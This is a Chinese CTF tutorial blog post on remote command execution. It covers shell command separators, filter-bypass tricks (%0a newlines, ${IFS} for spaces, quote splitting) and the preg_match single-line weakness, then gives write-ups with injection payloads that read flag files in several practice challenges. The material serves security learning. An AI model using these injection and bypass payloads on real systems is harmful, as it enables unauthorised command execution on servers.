RCE学习(一)

一.知识点

RCE:远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval

简单来说就是:可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

一)常见的连接符

1.拼接命令

分号;:多个命令无论对错 顺序执行

eg         A ; B     先执行A,再执行B

&:作用和分号一样,但是在使用的时候要把&进行URL编码为%26才能正常执行

eg        A & B    简单的拼接

&&:前面命令执行不成功后面命令无法执行

eg        A&&B    A执行成功之后才会执行B

管道输出符|:前面命令的输出作为后面命令的输入,把前面命令的结果作为后面命令的参数;前面后面的命令都执行,但是只显示后面的命令执行结果。

A | B      显示B的执行结果

||:前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行(类似if-else语句)

eg         A || B     A执行失败之后才会执行B

###       在特殊情况下可代替空格

二)常见的命令

(1)、Windows

1.type  显示文本文件内容

type x:\1.txt                      //显示x盘下的1.txt文件内容

type x:\1.txt | more            //分页显示x盘里1.txt的内容

more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)

2.dir  显示目录里的内容

dir                //显示当前目录里的子文件夹和文件

dir /b            //只显示当前目录子文件夹、文件的文件名

dir /p            //分页显示当前目录子文件夹、文件

dir /ad          //只显示当前目录中的文件夹

dir /a-d         //显示当目里的文件

dir x:/a         //显示x盘下a文件夹中的内容

dir 1.txt        //显示当目下1.txt的信息

dir /s            //递归显示当目中的内容   ctrl c终止当前命令

dir a*           //显示当目下a开头的文件、文件夹信息

dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)Linux

1、ls:列出目录

2、pwd:显示当前所在的目录

3、cat:由第一行开始查看文件

4、tac:由最后一行到第一行查看

5、more:逐项查看文件,按空格继续,最后自己退出

6、less:逐行查看文件,按方向键,不可主动退出,按q退出

7、head:只查看文件前十行

8、tail:只查看文件后十行

三)替换符

%0a 换行符

%0d 回车符

$*   在shell命令执行下为空

${IFS} 表示空格

  • 一般做题步骤

分三步执行:

1、ping

2、进入flag_is_here文件夹

3、列举flag_is_here文件夹下的文件

五)空格绕过

关于preg_match函数

利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能可以变得非常有用。

函数形式

preg_match(string $pattern, string $subject, array &$matches);

pattern

要搜索的模式串,字符串类型
sbuject

输入的字符串,字符串类型
matches

可选,用来存放搜索结果,$matches[0]存放所有匹配的字符串,$matches[1]用来存放第一个匹配的字符串,$matches[2]用来存放第三个匹配的字符串,以此类推
 

二.实训

1.[ACTF2020 新生赛]Exec

先用127.0.0.1ping一下 正常显示 查看根目录 没发现flag 继续访问上一级目录 发现flag

127.0.0.1|ls

输入127.0.0.1|ls.. /

输入127.0.0.1|cat /flag

2.[GXYCTF2019]Ping Ping Ping

先用127.0.0.1ping一下 正常回显 查看当前目录 发现了flag 之后发现符号被禁止了 使用替换符 再次查看flag 发现又被禁了 所以我们先查看根目录即可看到什么语句符号被禁 之后便可以据此修改抓取flag 即可得到。

3.ctfhub综合练习

本题过滤许多,尝试逐步绕过

首先列举目录127.0.0.1%0als# 其次列举文件夹下的文件 看到了一些禁用的符号对命令进行修改逐个绕过

127.0.0.1%0Als${IFS}f’’lag_is_here

看到了flag所在 于是查看文件内容

127.0.0.1%0als${IFS}cdf’’lag_is_here%0atac${IFS}f’’lag_

最后查看源码 即可找到本题flag

4.[FBCTF2019]RCEService

打开网页,发现输入框,提示命令以json格式输入,先试试:

{"cmd": "ls"}

发现了回显根目录,输入其他命令发现进行了过滤,说明用到了preg_match函数。

因为preg_match函数只匹配第一行,所以可以利用换行符%0A来构造payload。

查看home目录:

/?cmd={%0A"cmd": "ls /home"%0A}

发现rceservice文件夹,查看rceservice文件夹:

/?cmd={%0A"cmd": "ls /home/rceservice"%0A}

发现flagjail两个文件,输出flag文件,输入url:

/?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}即可查看到flag

参考资料:https://blog.csdn.net/kongtaoxing/article/details/124201990

http://t.csdnimg.cn/MqASO

http://t.csdnimg.cn/qIJrS

http://t.csdnimg.cn/C9KT5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/7641.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VMware导入ova/ovf虚拟机文件

1.文件-打开-ova文件 2.为新虚拟机起名称 3.等待导入 4.导入完成,可以开始使用 参考链接:VMware导入ova/ovf虚拟机文件

浅谈Session和Cookie

各位大佬光临寒舍,希望各位能赏脸给个三连,谢谢各位大佬了!!! 目录 1.Cookie 2.Sesssion(会话) 3.Session和Cookie的联系 4.总结 1.Cookie Cookie是客户端存储数据的机制,一般是…

洛谷P10397题解

题目描述 给定一条 std::freopen 语句&#xff0c;输出其操作的文件名称。 形式化地&#xff0c;std::freopen 语句都应该恰好是 std::freopen("<title>","<mode>",<stream>);其中 <title> 为其操作的文件名称。其至少包含一个…

英语学习笔记5——Nice to meet you.

Nice to meet you. 很高兴见到你。 词汇 Vocabulary Mr. 先生 用法&#xff1a;自己全名 / 姓 例如&#xff1a;Mr. Zhang Mingdong 或 Mr. Zhang&#xff0c;绝对不能是 Mr. Mingdong&#xff01; Miss 女士&#xff0c;小姐 未婚 用法&#xff1a;自己全名 / 姓 例如&#…

java本地锁与分布式锁-个人笔记 @by_TWJ

目录 1. 本地锁1.1. 悲观锁与乐观锁1.2. 公平锁与非公平锁1.3. CAS1.4. synchronized1.5. volatile 可见性1.6. ReentrantLock 可重入锁1.7. AQS1.8. ReentrantReadWriteLock 可重入读写锁 2. 分布式锁3. 额外的3.1. synchronized 的锁升级原理3.2. synchronized锁原理 1. 本地…

Spring Task 定时任务没有定时执行是为什么?

目录 SpringBoot 定时任务的原理任务一直阻塞会怎么样&#xff1f;多个定时任务的执行具有相同表达式的定时任务&#xff0c;它们的执行顺序如何&#xff1f;Spring Task 和 Linux crontab 的 cron 语法区别&#xff1f;在 cron 语法中容易犯的错误Async 异步注解原理及作用并发…

优化sqlserver中的 not like

如果你想要优化一个查询&#xff0c;特别是当使用 NOT LIKE 来排除包含某个字符&#xff08;如 ;&#xff09;的记录时&#xff0c;确保查询能够高效执行的关键是索引和查询结构。但是&#xff0c;对于 NOT LIKE 操作符来说&#xff0c;特别是当模式以通配符 % 开头时&#xff…

【ROMA核心特性数据、服务、消息、设备集成及统一运维】

1、数据集成 FDI旨在解决多种数据源的快速灵活集成能力&#xff0c;您可以在任意时间、任意地点、任意系统之间实现实时数据订阅和定时增量数据迁移。 &#xff08;1&#xff09;数据集成任务的生命周期管理 &#xff08;2&#xff09;FDI支持修改数据集成任务的信息、查看数…

初识Node.js-认识node(安装Node.js环境配置)

目录 一、node介绍 1.概念和特点 2.核心功能 3.应用场景 二、Node初使用 1.安装node配置 windows上安Node.js 1.windows安装包&#xff08;.msi&#xff09; 2、Windows 二进制文件 (.exe)安装 Linux 上安装 Node.js 直接使用已编译好的包 Ubuntu 源码安装 Node.js …

【JVM】垃圾回收机制(Garbage Collection)

目录 一、什么是垃圾回收&#xff1f; 二、为什么要有垃圾回收机制&#xff08;GC&#xff09;&#xff1f; 三、垃圾回收主要回收的内存区域 四、死亡对象的判断算法 a&#xff09;引用计数算法 b&#xff09;可达性分析算法 五、垃圾回收算法 a&#xff09;标记-清除…

GDPU 天码行空11

&#xff08;一&#xff09;实验目的 1、掌握JAVA中IO中各种类及其构造方法&#xff1b; 2、重点掌握IO中类所具有的IO操作方法&#xff1b; 3、熟悉软件中登录模块的开发方法&#xff1b; 4、掌握IO中读写常用方法。 5、进一步熟悉正则规则的使用方法。 &#xff08;二&…

上岸武汉顶级985!苦尽甘来的那一天,山河星月都作贺礼。

今天分享经验的同学是小马哥梦马强化班的学员&#xff0c;一战高分上岸武汉大学&#xff01; 经验分享 很高兴有机会在这里给大家分享我的考研历程。 首先介绍一下我自己&#xff0c;我本科就读于吉林大学空间信息与数字技术&#xff0c;成绩不是很好。六级是在考研期间12月…

C语言逻辑语句

叠甲:以下文章主要是依靠我的实际编码学习中总结出来的经验之谈,求逻辑自洽,不能百分百保证正确,有错误、未定义、不合适的内容请尽情指出! 文章目录 1.何为控制语句2.控制语句-分支语句2.1.if2.2.switch3.控制语句-循环语句3.1.while3.2.do...while3.3.for4.控制语句-转向…

ue引擎游戏开发笔记(32)——为游戏添加新武器装备

1.需求分析&#xff1a; 游戏中角色不会只有一种武器&#xff0c;不同武器需要不同模型&#xff0c;甚至可能需要角色持握武器的不同位置&#xff0c;因此需要添加专门的武器类&#xff0c;方便武器后续更新&#xff0c;建立一个武器类。 2.操作实现&#xff1a; 1.在ue5中新建…

如何用DeepDiff测接口数据源变更?

开发同学最近变更了部分业务查询接口底层的数据源&#xff0c;希望测试同学能够针对这些接口进行一些回归验证&#xff0c;校验底层数据源更新前后业务查询接口返回的一致性&#xff0c;保证更新后对正常业务没有影响。 这个回归测试和一般接口测试有所区别&#xff0c;不仅仅…

C++基础-编程练习题2

文章目录 前言一、查找“支撑数”二、数组元素的查找三、爬楼梯四、数字交换五、找高于平均分的人 前言 C基础-编程练习题和答案 一、查找“支撑数” 【试题描述】 在已知一组整数中&#xff0c; 有这样一种数非常怪&#xff0c; 它们不在第一个&#xff0c; 也不在最后一个&…

使用Simulink Test进行单元测试

本文摘要&#xff1a;主要介绍如何利用Simulink Test工具箱&#xff0c;对模型进行单元测试。内容包括&#xff0c;如何创建Test Harness模型&#xff0c;如何自动生成excel格式的测试用例模板来创建测试用例&#xff0c;如何手动填写excel格式的测试用例模板来手动创建测试用例…

精通 Docker:简化开发、部署与安全保障

踏上 Docker 之旅&#xff0c;每一条命令都是高效与可靠的新境界。Docker 彻底改变了软件开发&#xff0c;为构建、部署和保障应用程序提供了前所未有的便利。从打造精益敏捷的镜像到编排复杂的微服务架构&#xff0c;Docker 让开发人员和运维人员都倍感轻松。让我们深入探索 D…

Redis---------实现查询缓存业务

目录 数据库与缓存之间的工作业务逻辑&#xff1a; 接下来看查询缓存代码实现&#xff0c;主要是捋清楚业务逻辑&#xff0c;代码实现是死的&#xff1a; Controller: Service: P37作业实现&#xff1a;总体逻辑跟上面的业务逻辑差不多 Controller&#xff1a; Service&#…

头歌-Java编程基础进阶

第1关 两整数的四则运算 package step1;import java.util.Scanner;public class Arithmetic2Num {public static void main(String[] args) { // ---------------------Begin------------------------Scanner scnew Scanner(System.in);int asc.nextInt();int bsc.nextInt();…